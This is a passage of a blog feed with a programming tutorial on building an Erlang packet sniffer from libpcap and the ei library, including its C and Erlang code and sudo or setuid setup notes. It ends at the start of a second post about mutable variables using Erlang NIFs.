href="http://www.erlang.org/doc/man/ei.html"&gt;ei&lt;/a&gt; libary, I suggest reading the &lt;a href="http://www.trapexit.org/How_to_use_ei_to_marshal_binary_terms_in_port_programs"&gt;excellent tutorial on trapexit&lt;/a&gt; first.&lt;br /&gt;&lt;br /&gt;Creating a port is a bit more work than using nif's. Since a port is just a system process, we have to handle all the bookkeeping ourselves. The way the epcap process works is as follows:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;start with root privileges&lt;/li&gt;&lt;li&gt;parse command line arguments&lt;/li&gt;&lt;li&gt;open the pcap device&lt;/li&gt;&lt;li&gt;drop root privileges&lt;/li&gt;&lt;li&gt;loop and read packets&lt;/li&gt;&lt;li&gt;convert packets into Erlang binary term format and write to stdout&lt;/li&gt;&lt;/ol&gt;epcap does not receive any messages from the Erlang process.  As a convenience, we have epcap fork, with the parent blocking on &lt;i&gt;stdin&lt;/i&gt;, so that the epcap process will exit gracefully when the Erlang node closes the port.&lt;br /&gt;&lt;br /&gt;To dump packets, we do the following:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;open the pcap device&lt;/li&gt;&lt;li&gt;set a filter for the device and other initialization&lt;/li&gt;&lt;li&gt;read one packet from the device, process it and loop&lt;/li&gt;&lt;/ol&gt;Opening the pcap device involves retrieving a default interface to sniff, if one hasn't been specified (on Mac OS X, it seems to almost always pick the wrong interface) and returning a pcap handle. After the device has been opened, we can drop root privileges.&lt;br /&gt;&lt;pre class="Code"&gt;pcap_t *&lt;br /&gt;epcap_open(&lt;span class="Type"&gt;char&lt;/span&gt; *dev)&lt;br /&gt;{&lt;br /&gt;    pcap_t *p = &lt;span class="Constant"&gt;NULL&lt;/span&gt;;&lt;br /&gt;    &lt;span class="Type"&gt;char&lt;/span&gt; errbuf[PCAP_ERRBUF_SIZE];&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (dev == &lt;span class="Constant"&gt;NULL&lt;/span&gt;)&lt;br /&gt;        PCAP_ERRBUF(dev = pcap_lookupdev(errbuf));&lt;br /&gt;    PCAP_ERRBUF(p = pcap_open_live(dev, SNAPLEN, PROMISC, TIMEOUT, errbuf));&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; (p);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Initializing the device involves compiling and setting a filter:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;int&lt;/span&gt;&lt;br /&gt;epcap_init(EPCAP_STATE *ep)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="Type"&gt;struct&lt;/span&gt; bpf_program fcode;&lt;br /&gt;    &lt;span class="Type"&gt;char&lt;/span&gt; errbuf[PCAP_ERRBUF_SIZE];&lt;br /&gt;&lt;br /&gt;    u_int32_t ipaddr = &lt;span class="Constant"&gt;0&lt;/span&gt;;&lt;br /&gt;    u_int32_t ipmask = &lt;span class="Constant"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (pcap_lookupnet(ep-&amp;gt;dev, &amp;amp;ipaddr, &amp;amp;ipmask, errbuf) == -&lt;span class="Constant"&gt;1&lt;/span&gt;) {&lt;br /&gt;        VERBOSE(&lt;span class="Constant"&gt;1&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Special"&gt;%s&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, errbuf);&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; (-&lt;span class="Constant"&gt;1&lt;/span&gt;);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    VERBOSE(&lt;span class="Constant"&gt;2&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;[&lt;/span&gt;&lt;span class="Special"&gt;%s&lt;/span&gt;&lt;span class="Constant"&gt;] Using filter: &lt;/span&gt;&lt;span class="Special"&gt;%s&lt;/span&gt;&lt;span class="Special"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, __progname, ep-&amp;gt;filt);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (pcap_compile(ep-&amp;gt;p, &amp;amp;fcode, ep-&amp;gt;filt, &lt;span class="Constant"&gt;1&lt;/span&gt; &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; optimize == true &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;, ipmask) != &lt;span class="Constant"&gt;0&lt;/span&gt;) {&lt;br /&gt;        VERBOSE(&lt;span class="Constant"&gt;1&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;pcap_compile: &lt;/span&gt;&lt;span class="Special"&gt;%s&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, pcap_geterr(ep-&amp;gt;p));&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; (-&lt;span class="Constant"&gt;1&lt;/span&gt;);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (pcap_setfilter(ep-&amp;gt;p, &amp;amp;fcode) != &lt;span class="Constant"&gt;0&lt;/span&gt;) {&lt;br /&gt;        VERBOSE(&lt;span class="Constant"&gt;EXIT_FAILURE&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;pcap_setfilter: &lt;/span&gt;&lt;span class="Special"&gt;%s&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, pcap_geterr(ep-&amp;gt;p));&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; (-&lt;span class="Constant"&gt;1&lt;/span&gt;);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; (&lt;span class="Constant"&gt;0&lt;/span&gt;);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Finally, we can just sit in a loop, pulling one packet from the queue. We use pcap_next() instead of pcap_loop() so that we can apply our own flow control, if necessary, in the future (sort of like {active,once}).&lt;br /&gt;&lt;br /&gt;When a packet is sniffed, pcap returns 2 values to us: the packet itself and a struct with a timestamp, the length of the packet that was returned to us and the actual length of the packet on the wire (since the packet given to us may have been truncated).&lt;br /&gt;&lt;br /&gt;At this point, we can test if packet dumps are working by printing out the ethernet header:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;net/ethernet.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;...&amp;gt;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Type"&gt;void&lt;/span&gt;&lt;br /&gt;epcap_loop(pcap_t *p)&lt;br /&gt;{&lt;br /&gt;    &amp;lt;...&amp;gt;&lt;br /&gt;    &lt;span class="Type"&gt;struct&lt;/span&gt; ether_header *eh = &lt;span class="Constant"&gt;NULL&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &amp;lt;...&amp;gt;&lt;br /&gt;    eh = (&lt;span class="Type"&gt;struct&lt;/span&gt; ether_header *)pkt;&lt;br /&gt;&lt;br /&gt;    (&lt;span class="Type"&gt;void&lt;/span&gt;)fprintf(&lt;span class="Constant"&gt;stderr&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;[shost]&lt;/span&gt;&lt;span class="Special"&gt;%02x&lt;/span&gt;&lt;span class="Constant"&gt;:&lt;/span&gt;&lt;span class="Special"&gt;%02x&lt;/span&gt;&lt;span class="Constant"&gt;:&lt;/span&gt;&lt;span class="Special"&gt;%02x&lt;/span&gt;&lt;span class="Constant"&gt;:&lt;/span&gt;&lt;span class="Special"&gt;%02x&lt;/span&gt;&lt;span class="Constant"&gt;:&lt;/span&gt;&lt;span class="Special"&gt;%02x&lt;/span&gt;&lt;span class="Constant"&gt;:&lt;/span&gt;&lt;span class="Special"&gt;%02x&lt;/span&gt;&lt;span class="Special"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, eh-&amp;gt;ether_shost[&lt;span class="Constant"&gt;0&lt;/span&gt;],&lt;br /&gt;            eh-&amp;gt;ether_shost[&lt;span class="Constant"&gt;1&lt;/span&gt;], eh-&amp;gt;ether_shost[&lt;span class="Constant"&gt;2&lt;/span&gt;], eh-&amp;gt;ether_shost[&lt;span class="Constant"&gt;3&lt;/span&gt;],&lt;br /&gt;            eh-&amp;gt;ether_shost[&lt;span class="Constant"&gt;4&lt;/span&gt;], eh-&amp;gt;ether_shost[&lt;span class="Constant"&gt;5&lt;/span&gt;]);&lt;br /&gt;&lt;br /&gt;    &amp;lt;...&amp;gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Pulling all of this together and compiling should give something like:&lt;br /&gt;&lt;pre class="Code"&gt;[shost]00:1c:b3:xx:xx:xx&lt;br /&gt;[shost]0:16:3e:xx:xx:xx&lt;br /&gt;[shost]00:1c:b3:xx:xx:xx&lt;br /&gt;&lt;/pre&gt;Now we're ready to get to the interesting part: creating data for consumption by the erlang process.&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;void&lt;/span&gt;&lt;br /&gt;epcap_response(&lt;span class="Type"&gt;const&lt;/span&gt; u_char *pkt, &lt;span class="Type"&gt;struct&lt;/span&gt; pcap_pkthdr *hdr)&lt;br /&gt;{&lt;br /&gt;    ei_x_buff msg;&lt;br /&gt;&lt;br /&gt;    u_int16_t len = &lt;span class="Constant"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; [ &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    IS_FALSE(ei_x_new_with_version(&amp;amp;msg));&lt;br /&gt;    IS_FALSE(ei_x_encode_list_header(&amp;amp;msg, &lt;span class="Constant"&gt;2&lt;/span&gt;));&lt;br /&gt;&lt;br /&gt;    &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; {time, {MegaSec, Sec, MicroSec}} &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    IS_FALSE(ei_x_encode_tuple_header(&amp;amp;msg, &lt;span class="Constant"&gt;2&lt;/span&gt;));&lt;br /&gt;    IS_FALSE(ei_x_encode_atom(&amp;amp;msg, &lt;span class="Constant"&gt;&amp;quot;time&amp;quot;&lt;/span&gt;));&lt;br /&gt;&lt;br /&gt;    IS_FALSE(ei_x_encode_tuple_header(&amp;amp;msg, &lt;span class="Constant"&gt;3&lt;/span&gt;));&lt;br /&gt;    IS_FALSE(ei_x_encode_long(&amp;amp;msg, abs(hdr-&amp;gt;ts.tv_sec / &lt;span class="Constant"&gt;1000000&lt;/span&gt;)));&lt;br /&gt;    IS_FALSE(ei_x_encode_long(&amp;amp;msg, hdr-&amp;gt;ts.tv_sec % &lt;span class="Constant"&gt;1000000&lt;/span&gt;));&lt;br /&gt;    IS_FALSE(ei_x_encode_long(&amp;amp;msg, hdr-&amp;gt;ts.tv_usec));&lt;br /&gt;&lt;br /&gt;    &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; {packet, Packet} &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    IS_FALSE(ei_x_encode_tuple_header(&amp;amp;msg, &lt;span class="Constant"&gt;2&lt;/span&gt;));&lt;br /&gt;    IS_FALSE(ei_x_encode_atom(&amp;amp;msg, &lt;span class="Constant"&gt;&amp;quot;packet&amp;quot;&lt;/span&gt;));&lt;br /&gt;    IS_FALSE(ei_x_encode_binary(&amp;amp;msg, pkt, hdr-&amp;gt;caplen));&lt;br /&gt;&lt;br /&gt;    &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; ] &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    IS_FALSE(ei_x_encode_empty_list(&amp;amp;msg));&lt;br /&gt;&lt;br /&gt;    len = htons(msg.index);&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (write(fileno(&lt;span class="Constant"&gt;stdout&lt;/span&gt;), &amp;amp;len, &lt;span class="Statement"&gt;sizeof&lt;/span&gt;(len)) != &lt;span class="Statement"&gt;sizeof&lt;/span&gt;(len))&lt;br /&gt;        errx(&lt;span class="Constant"&gt;EXIT_FAILURE&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;write header failed&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (write(fileno(&lt;span class="Constant"&gt;stdout&lt;/span&gt;), msg.buff, msg.index) != msg.index)&lt;br /&gt;        errx(&lt;span class="Constant"&gt;EXIT_FAILURE&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;write packet failed: &lt;/span&gt;&lt;span class="Special"&gt;%d&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, msg.index);&lt;br /&gt;&lt;br /&gt;    ei_x_free(&amp;amp;msg);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;I'd like to send a list to the Erlang process consisting of a proplist of 2 tuples:&lt;br /&gt;&lt;pre class="Code"&gt;[{time, {MegaSeconds, Seconds, MicroSeconds}}, {packet, Packet}].&lt;br /&gt;&lt;/pre&gt;The timestamp is in the same format as erlang:now().&lt;br /&gt;&lt;br /&gt;Creating the data structure is quite easy. ei functions come in statically and dynamically allocated versions. For creating the Erlang terms, the dynamic version is ideal.&lt;br /&gt;&lt;br /&gt;After allocating an ei_x_buff struct, we add a version header. If we want to add a tuple, we add a tuple header with the appropriate arity and begin adding elements. If we want to add a nested tuple, it's as simple as sequentially adding another tuple header.&lt;br /&gt;&lt;br /&gt;When calling the epcap binary, I allowed my login to run the binary as root using sudo:&lt;br /&gt;&lt;pre class="Code"&gt;$ visudo&lt;br /&gt;myuser ALL = NOPASSWD: /path/to/epcap/epcap&lt;br /&gt;&lt;/pre&gt;Alternatively, you can put epcap in a directory owned by root and make epcap setuid (&lt;i&gt;chown root:yourgroup epcap; chmod 4550 epcap&lt;/i&gt;). If you decide make epcap setuid, use a group to which your login is the only user.&lt;br /&gt;&lt;br /&gt;The erlang port driver should be familiar from the trapexit tutorial.&lt;br /&gt;&lt;pre class="Code"&gt;start(PL) &lt;span class="Statement"&gt;when&lt;/span&gt; is_list(PL) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    Args &lt;span class="Statement"&gt;=&lt;/span&gt; make_args(PL),&lt;br /&gt;    Port &lt;span class="Statement"&gt;=&lt;/span&gt; Args,&lt;br /&gt;    &lt;span class="Identifier"&gt;spawn_link&lt;/span&gt;(?MODULE, init, [&lt;span class="Identifier"&gt;self&lt;/span&gt;(), Port])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;init(Pid, ExtPrg) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;register&lt;/span&gt;(?MODULE, &lt;span class="Identifier"&gt;self&lt;/span&gt;()),&lt;br /&gt;    &lt;span class="Identifier"&gt;process_flag&lt;/span&gt;(&lt;span class="Special"&gt;trap_exit&lt;/span&gt;, &lt;span class="Statement"&gt;true&lt;/span&gt;),&lt;br /&gt;    Port &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;open_port&lt;/span&gt;({&lt;span class="Identifier"&gt;spawn&lt;/span&gt;, ExtPrg}, [{packet, &lt;span class="Constant"&gt;2&lt;/span&gt;}, &lt;span class="Identifier"&gt;binary&lt;/span&gt;, exit_status]),&lt;br /&gt;    loop(Pid, Port)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;We take a proplist to set up the command line arguments for the C binary. We also pass in the calling processes pid, so messages can be sent back.&lt;br /&gt;&lt;pre class="Code"&gt;loop(Caller, Port) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;receive&lt;/span&gt;&lt;br /&gt;        {Port, {data, Data}} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            Caller &lt;span class="Statement"&gt;!&lt;/span&gt;  &lt;span class="Identifier"&gt;binary_to_term&lt;/span&gt;(Data),&lt;br /&gt;            loop(Caller, Port);&lt;br /&gt;        {Port, {exit_status, Status}} &lt;span class="Statement"&gt;when&lt;/span&gt; Status &lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Constant"&gt;128&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Identifier"&gt;io:format&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;Port terminated with signal: &lt;/span&gt;&lt;span class="Special"&gt;~p~n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, [Status &lt;span class="Statement"&gt;-&lt;/span&gt; &lt;span class="Constant"&gt;128&lt;/span&gt;]),&lt;br /&gt;            &lt;span class="Statement"&gt;exit&lt;/span&gt;({port_terminated, Status});&lt;br /&gt;        {Port, {exit_status, Status}} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Identifier"&gt;io:format&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;Port terminated with status: &lt;/span&gt;&lt;span class="Special"&gt;~p~n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, [Status]),&lt;br /&gt;            &lt;span class="Statement"&gt;exit&lt;/span&gt;({port_terminated, Status});&lt;br /&gt;        {&lt;span class="Type"&gt;'EXIT'&lt;/span&gt;, Port, Reason} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Statement"&gt;exit&lt;/span&gt;(Reason);&lt;br /&gt;        stop &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="Identifier"&gt;erlang:port_close&lt;/span&gt;(Port),&lt;br /&gt;            &lt;span class="Statement"&gt;exit&lt;/span&gt;(&lt;span class="Statement"&gt;normal&lt;/span&gt;)&lt;br /&gt;    &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Like any other erlang process, messages from ports are captured using receive. We convert the message to erlang term format and send the message to the calling pid.&lt;br /&gt;A process using epcap could work as follows:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Identifier"&gt;epcap:start&lt;/span&gt;([{chroot, &lt;span class="Constant"&gt;&amp;quot;/tmp/epcap&amp;quot;&lt;/span&gt;},{interface, &lt;span class="Constant"&gt;&amp;quot;en1&amp;quot;&lt;/span&gt;}, {filter, &lt;span class="Constant"&gt;&amp;quot;tcp and port 80&amp;quot;&lt;/span&gt;}])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;receive&lt;/span&gt; Any &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; Any &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Parsing and pretty printing the packets is covered &lt;a href="http://listincomprehension.blogspot.com/2009/12/epcap-erlang-packet-sniffer.html"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-7310956069761524896?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/7310956069761524896/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2009/12/erlang-packet-sniffer-using-ei-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/7310956069761524896'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/7310956069761524896'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2009/12/erlang-packet-sniffer-using-ei-and.html' title='An Erlang Packet Sniffer Using ei and libpcap'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-5849522312999257699</id><published>2009-11-28T09:47:00.000-05:00</published><updated>2010-03-12T13:23:52.540-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='test'/><category scheme='http://www.blogger.com/atom/ns#' term='nif'/><title type='text'>Simple Mutable Variables using Erlang NIF's</title><content type='html'>I wrote a &lt;a href="http://github.com/msantos/wat"&gt;simple mutable variable data store&lt;/a&gt; to experiment with the new Erlang &lt;a href="http://www.erlang.org/doc/man/erl_nif.html"&gt;native implemented function&lt;/a&gt; (NIF) interface. Like Erlang itself, the NIF interface is simple, well thought out and robust.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;I should mention that I &lt;i&gt;like &lt;/i&gt;the immutable variables in Erlang. I only find them to be an annoyance when I want to write a quick program. In this sense they are sort of like static types in other languages; they force you to design your program before you start coding. The sort of complaints I've read about non-destructive variable updates (e.g., writing tests) seem to reinforce this view.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A quick example of using &lt;i&gt;&lt;a href="http://github.com/msantos/wat"&gt;wat&lt;/a&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;:  you want to benchmark various checksum functions and prove the results are evenly distributed for a given set of inputs. We can benchmark a version using &lt;a href="http://www.erlang.org/doc/man/array.html"&gt;arrays&lt;/a&gt; and another using NIF's.&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The &lt;a href="http://www.erlang.org/doc/man/array.html"&gt;array&lt;/a&gt; version:&lt;/div&gt;&lt;div&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;-module&lt;/span&gt;(csum)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Type"&gt;-export&lt;/span&gt;([start&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Constant"&gt;2&lt;/span&gt;])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Type"&gt;-export&lt;/span&gt;([loop&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Constant"&gt;3&lt;/span&gt;])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;start(Hash,File) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    {ok, Fh} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;file:open&lt;/span&gt;(File, [&lt;br /&gt;            &lt;span class="Identifier"&gt;binary&lt;/span&gt;,&lt;br /&gt;            read,&lt;br /&gt;            read_ahead,&lt;br /&gt;            raw&lt;br /&gt;        ]),&lt;br /&gt;    {MicroSec, L} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Special"&gt;timer&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;tc(&lt;br /&gt;        ?MODULE, loop,&lt;br /&gt;        [Fh, Hash, &lt;span class="Identifier"&gt;array:new&lt;/span&gt;([&lt;span class="Constant"&gt;3&lt;/span&gt;, {default,&lt;span class="Constant"&gt;0&lt;/span&gt;}])]&lt;br /&gt;    ),&lt;br /&gt;    T &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;lists:sum&lt;/span&gt;(L),&lt;br /&gt;    P 
